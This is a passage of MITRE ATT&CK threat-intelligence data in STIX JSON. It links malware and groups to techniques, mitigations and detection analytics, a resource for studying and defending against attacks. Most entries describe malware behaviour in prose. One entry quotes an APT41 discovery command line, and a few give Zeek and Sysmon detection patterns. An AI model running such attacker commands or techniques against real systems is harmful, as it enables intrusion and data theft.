"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-25T19:03:53.616Z", "description": "Ensure least privilege principles are applied to important information resources to reduce exposure to data manipulation risk.", "relationship_type": "mitigates", "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", "target_ref": "attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--110ef143-aff1-4e73-abc2-cceaeab69c60", "type": "relationship", "created": "2021-10-07T17:11:29.524Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Chaes Nov 2020", "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf", "description": "Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}], "modified": "2021-10-07T17:11:29.524Z", "description": "[Chaes](https://attack.mitre.org/software/S0631) requires the user to click on the malicious Word document to execute the next part of the attack.(Citation: Cybereason Chaes Nov 2020) ", "relationship_type": "uses", "source_ref": "malware--77e0ecf7-ca91-4c06-8012-8e728986a87a", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1116b91b-3b1e-41a3-a60b-677f06eb810b", "type": "relationship", "created": "2022-03-30T14:26:51.837Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.837Z", "description": "Monitor for executed commands and arguments that may attempt to find cloud groups and permission settings. ", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--11178fb7-27d1-4ad2-b912-113741647377", "created": "2022-03-30T14:26:51.837Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T20:54:31.750Z", "description": "Monitor for newly constructed network connections that are sent or received by untrusted hosts, such as Sysmon Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.\n\nNote: Event IDs are for Sysmon (Event ID 1 - process create) and Windows Security Log (Event ID 4688 - a new process has been created). The Analytic looks for the creation of a new CMSTP.exe process which initiates a network connection to a non-local IP address. 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Retrieved March 8, 2021.", "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T22:02:54.200Z", "description": "(Citation: MSTIC NOBELIUM Mar 2021)", "relationship_type": "uses", "source_ref": "campaign--808d6b30-df4e-4341-8248-724da4bac650", "target_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--112012c7-a727-47a4-8a7a-ccb7d40a3311", "type": "relationship", "created": "2020-09-11T15:11:28.317Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cyberreason Anchor December 2019", "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware", "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}], "modified": "2020-09-11T15:11:28.317Z", "description": "[Anchor](https://attack.mitre.org/software/S0504) has used cmd.exe to run its self deletion routine.(Citation: Cyberreason Anchor December 2019)", "relationship_type": "uses", "source_ref": "malware--5f1d4579-4e8f-48e7-860e-2da773ae432e", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--11247a95-272b-4ae2-8dae-2cd049328734", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky ProjectSauron Technical Analysis", "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. 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Retrieved January 19, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-24T22:35:16.355Z", "description": "[Prestige](https://attack.mitre.org/software/S1058) has been deployed using the Default Domain Group Policy Object from an Active Directory Domain Controller.(Citation: Microsoft Prestige ransomware October 2022)", "relationship_type": "uses", "source_ref": "malware--1da748a5-875d-4212-9222-b4c23ab861be", "target_ref": "attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--112b896f-a3df-4b7c-80cd-332d561bc028", "created": "2023-08-03T21:55:02.766Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Red Canary Dridex Threat Report 2021", "description": "Red Canary. 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Retrieved August 11, 2021."}], "modified": "2021-10-04T13:22:55.915Z", "description": "[Babuk](https://attack.mitre.org/software/S0638) has the ability to unpack itself into memory using XOR.(Citation: Sogeti CERT ESEC Babuk March 2021)(Citation: Medium Babuk February 2021)", "relationship_type": "uses", "source_ref": "malware--61c7a91a-0b83-461d-ad32-75d96eed4a09", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--114f98a4-6243-4a0c-a6c4-3e693a4f9b08", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT30", "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. 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Retrieved September 10, 2020."}], "modified": "2020-09-11T15:22:21.639Z", "description": "[Anchor](https://attack.mitre.org/software/S0504) can download additional payloads.(Citation: Cyberreason Anchor December 2019)(Citation: Medium Anchor DNS July 2020)", "relationship_type": "uses", "source_ref": "malware--5f1d4579-4e8f-48e7-860e-2da773ae432e", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--116ba54b-b2b3-4e63-9f5b-c5171dde0863", "type": "relationship", "created": "2020-03-24T23:35:28.074Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-27T19:58:02.104Z", "description": "Limit privileges of user accounts so only authorized users can edit the rc.common file.", "relationship_type": "mitigates", "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", "target_ref": "attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--116f105a-ee8c-4544-9164-a0a28a572228", "type": "relationship", "created": "2021-04-09T16:08:58.533Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "BlackBerry Bahamut", "url": "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf", "description": "The BlackBerry Research & Intelligence Team. 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Tricks and COMfoolery: How Ursnif Evades Detection. Retrieved June 10, 2019.", "url": "https://www.bromium.com/how-ursnif-evades-detection/"}, {"source_name": "ProofPoint Ursnif Aug 2016", "description": "Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. 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(2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"}], "modified": "2019-04-24T20:56:04.815Z", "description": "[Denis](https://attack.mitre.org/software/S0354) deploys additional backdoors and hacking tools to the system.(Citation: Cybereason Cobalt Kitty 2017)", "relationship_type": "uses", "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1180572a-fb9f-4279-9d19-5c095fd84659", "created": "2022-09-30T15:37:25.132Z", "revoked": false, "external_references": [{"source_name": "DHS CISA AA22-055A MuddyWater February 2022", "description": "FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.", "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-30T15:37:25.132Z", "description": "[Mori](https://attack.mitre.org/software/S1047) has obfuscated the FML.dll with 200MB of junk data.(Citation: DHS CISA AA22-055A MuddyWater February 2022)", "relationship_type": "uses", "source_ref": "malware--7e100ca4-e639-48d9-9a9d-8ad84aa7b448", "target_ref": "attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1185f8f1-9fce-4dde-9f2b-67287ec61157", "created": "2023-08-14T19:19:54.085Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T20:39:11.826Z", "description": "Remote access to the registry can be achieved via\n\n- Windows API function\u00a0RegConnectRegistry\n- command line via\u00a0reg.exe\n- graphically via\u00a0regedit.exe\n\nAll of these behaviors call into the Windows API, which uses the NamedPipe\u00a0WINREG\u00a0over SMB to handle the protocol information. This network can be decoded with wireshark or a similar sensor, and can also be detected by hooking the API function.\n\nAnalytic 1 - Remote Registry\n\n<code>source=\"*Zeek:*\" (dest_port=\"445\" AND proto_info.pipe=\"WINREG\") OR (proto_info.function=\"Create*\" OR proto_info.function=\"SetValue*\")</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--11870221-f730-4844-a441-ac1e8d21bc4b", "type": "relationship", "created": "2019-01-30T18:58:04.079Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/", "source_name": "Unit42 Cannon Nov 2018"}, {"source_name": "Unit42 Sofacy Dec 2018", "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/", "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019."}], "modified": "2019-04-22T19:48:08.937Z", "description": "[Cannon](https://attack.mitre.org/software/S0351) can obtain a list of processes running on the system.(Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)", "relationship_type": "uses", "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--11874e26-e692-43da-bb54-760e51a4714f", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cylance Dust Storm", "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}, {"source_name": "Microsoft DTC", "description": "Microsoft. (2011, January 12). Distributed Transaction Coordinator. Retrieved February 25, 2016.", "url": "https://technet.microsoft.com/en-us/library/cc759136(v=ws.10).aspx"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-30T20:37:11.467Z", "description": "[S-Type](https://attack.mitre.org/software/S0085) may save itself as a file named `msdtc.exe`, which is also the name of the legitimate Microsoft Distributed Transaction Coordinator service binary.(Citation: Cylance Dust Storm)(Citation: Microsoft DTC)", "relationship_type": "uses", "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--118b2047-826a-4ab0-94b8-69d35a4c8592", "type": "relationship", "created": "2021-04-22T15:09:14.852Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Lastline DarkHotel Just In Time Decryption Nov 2015", "url": "https://www.lastline.com/labsblog/defeating-darkhotel-just-in-time-decryption/", "description": "Arunpreet Singh, Clemens Kolbitsch. (2015, November 5). Defeating Darkhotel Just-In-Time Decryption. Retrieved April 15, 2021."}], "modified": "2021-04-22T15:09:14.852Z", "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has used malware that repeatedly checks the mouse cursor position to determine if a real user is on the system.(Citation: Lastline DarkHotel Just In Time Decryption Nov 2015)", "relationship_type": "uses", "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", "target_ref": "attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--118c427e-fcd2-4464-a32a-a6edb0d6ead5", "type": "relationship", "created": "2022-03-25T17:02:12.057Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NTT Security Flagpro new December 2021", "url": "https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech", "description": "Hada, H. (2021, December 28).  Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}], "modified": "2022-03-25T17:02:12.057Z", "description": "[Flagpro](https://attack.mitre.org/software/S0696) has encoded bidirectional data communications between a target system and C2 server using Base64.(Citation: NTT Security Flagpro new December 2021) ", "relationship_type": "uses", "source_ref": "malware--592260fb-dd5c-4a30-8d99-106a0485be0d", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--118c566e-2042-4566-99c2-308351d50a40", "type": "relationship", "created": "2020-12-29T19:07:21.930Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-259A Iran-Based Actor September 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}], "modified": "2020-12-29T19:07:21.930Z", "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has obtained files from the victim's cloud storage instances.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", "target_ref": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--118cdbd1-12e5-4ac2-85a3-c574e7cfad91", "created": "2023-01-03T20:31:04.559Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant APT41", "description": "Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.", "url": "https://www.mandiant.com/resources/apt41-us-state-governments"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-01-26T16:01:04.075Z", "description": "During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) issued `ping -n 1 ((cmd /c dir c:\\|findstr Number).split()[-1]+` commands to find the volume serial number of compromised systems.(Citation: Mandiant APT41)\n", "relationship_type": "uses", "source_ref": "campaign--ba6dfa37-f401-4140-88b0-8938f2895e61", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--118d9413-0b34-47e6-b333-b712e78dc404", "type": "relationship", "created": "2021-01-25T13:58:25.275Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Dtrack", "url": "https://securelist.com/my-name-is-dtrack/93338/", "description": "Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. Retrieved January 20, 2021."}, {"source_name": "CyberBit Dtrack", "url": "https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/", "description": "Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."}], "modified": "2021-04-14T15:25:56.661Z", "description": "[Dtrack](https://attack.mitre.org/software/S0567) can save collected data to disk, different file formats, and network shares.(Citation: Securelist Dtrack)(Citation: CyberBit Dtrack)", "relationship_type": "uses", "source_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--118e5be5-a143-4e2f-b80f-20b580f14210", "type": "relationship", "created": "2021-01-27T16:43:48.402Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ATT Sidewinder January 2021", "url": "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", "description": "Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."}, {"source_name": "Cyble Sidewinder September 2020", "url": "https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/", "description": "Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021."}], "modified": "2021-04-06T22:07:33.919Z", "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has sent e-mails with malicious links often crafted for specific targets.(Citation: ATT Sidewinder January 2021)(Citation: Cyble Sidewinder September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e", "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--11917102-46c9-4c12-964c-065ad6b2a14f", "type": "relationship", "created": "2021-01-14T20:08:49.593Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft GALLIUM December 2019", "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}], "modified": "2021-01-14T20:08:49.593Z", "description": "[BlackMould](https://attack.mitre.org/software/S0564) can enumerate local drives on a compromised host.(Citation: Microsoft GALLIUM December 2019)", "relationship_type": "uses", "source_ref": "malware--63c4511b-2d6e-4bb2-b582-e2e99a8a467d", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--119cfc44-4018-4ce0-b223-b0f353d1c113", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "McAfee Bankshot", "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"}], "modified": "2020-02-18T03:40:29.805Z", "description": "[Bankshot](https://attack.mitre.org/software/S0239) collects files from the local system.(Citation: McAfee Bankshot)", "relationship_type": "uses", "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--11a7431f-416f-48de-a3c0-8782abdede63", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Forcepoint Monsoon", "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"}, {"source_name": "PaloAlto Patchwork Mar 2018", "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/"}], "modified": "2020-03-16T15:59:20.515Z", "description": "When it first starts, [BADNEWS](https://attack.mitre.org/software/S0128) crawls the victim's local drives and collects documents with the following extensions: .doc, .docx, .pdf, .ppt, .pptx, and .txt.(Citation: Forcepoint Monsoon)(Citation: PaloAlto Patchwork Mar 2018)", "relationship_type": "uses", "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--11ab0bc2-4baa-4d06-a001-2b59d3bc5567", "created": "2022-09-27T16:18:19.899Z", "revoked": false, "external_references": [{"source_name": "FoxIT Wocao December 2019", "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.", "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-27T16:18:19.899Z", "description": "During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors spawned a new `cmd.exe` process to execute commands.(Citation: FoxIT Wocao December 2019) ", "relationship_type": "uses", "source_ref": "campaign--b03d5112-e23a-4ac8-add0-be7502d24eff", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--11ab80ae-29e7-45a4-8d92-53493e2971c3", "type": "relationship", "created": "2019-09-09T17:51:47.352Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT38 Oct 2018", "url": "https://content.fireeye.com/apt/rpt-apt38", "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."}], "modified": "2019-09-09T19:10:53.565Z", "description": "[APT38](https://attack.mitre.org/groups/G0082) installed a port monitoring tool, MAPMAKER, to print the active TCP connections on the local system.(Citation: FireEye APT38 Oct 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--11abcf3d-3fe2-4b5e-8590-9509a881d877", "type": "relationship", "created": "2021-08-04T13:44:25.232Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC Nobelium Toolset May 2021", "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/", "description": "MSTIC. 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Any matching files are encrypted and written to a local user directory.(Citation: Palo Alto T9000 Feb 2016)", "relationship_type": "uses", "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--11c19a8d-fd24-4c59-9a5f-4910f5471e71", "created": "2022-06-14T15:35:39.078Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Kaspersky Lyceum October 2021", "description": "Kayal, A. et al. (2021, October). LYCEUM 